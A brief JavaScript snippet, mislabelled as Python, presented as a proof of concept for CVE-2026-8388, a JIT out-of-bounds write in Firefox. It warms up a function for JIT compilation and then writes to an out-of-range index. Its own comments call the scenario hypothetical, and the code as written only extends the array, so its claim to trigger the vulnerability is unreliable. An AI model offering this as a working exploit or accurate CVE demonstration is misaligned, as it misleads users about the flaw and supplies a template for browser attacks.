The following code is for security research and authorized testing only.
python
/**
* Conceptual PoC for CVE-2026-8388
* Triggers JIT boundary condition issue in Firefox < 150.0.3
*/
function triggerVuln() {
// Prepare array to trigger JIT optimization
let arr = new Array(100).fill(1.1);
// Function to be compiled by JIT
function vulnerableFunc(idx, val) {
// Hypothetical scenario where JIT fails to validate bounds
if (idx >= 0) {
arr[idx] = val; // Potential OOB write
}
}
// Warm up function to trigger JIT compilation
for (let i = 0; i < 10000; i++) {
vulnerableFunc(1, 2.2);
}
// Trigger the vulnerability with an out-of-bounds index
try {
vulnerableFunc(0xFFFF, 3.3);
console.log("PoC executed");
} catch (e) {
console.log("Exception caught");
}
}
triggerVuln();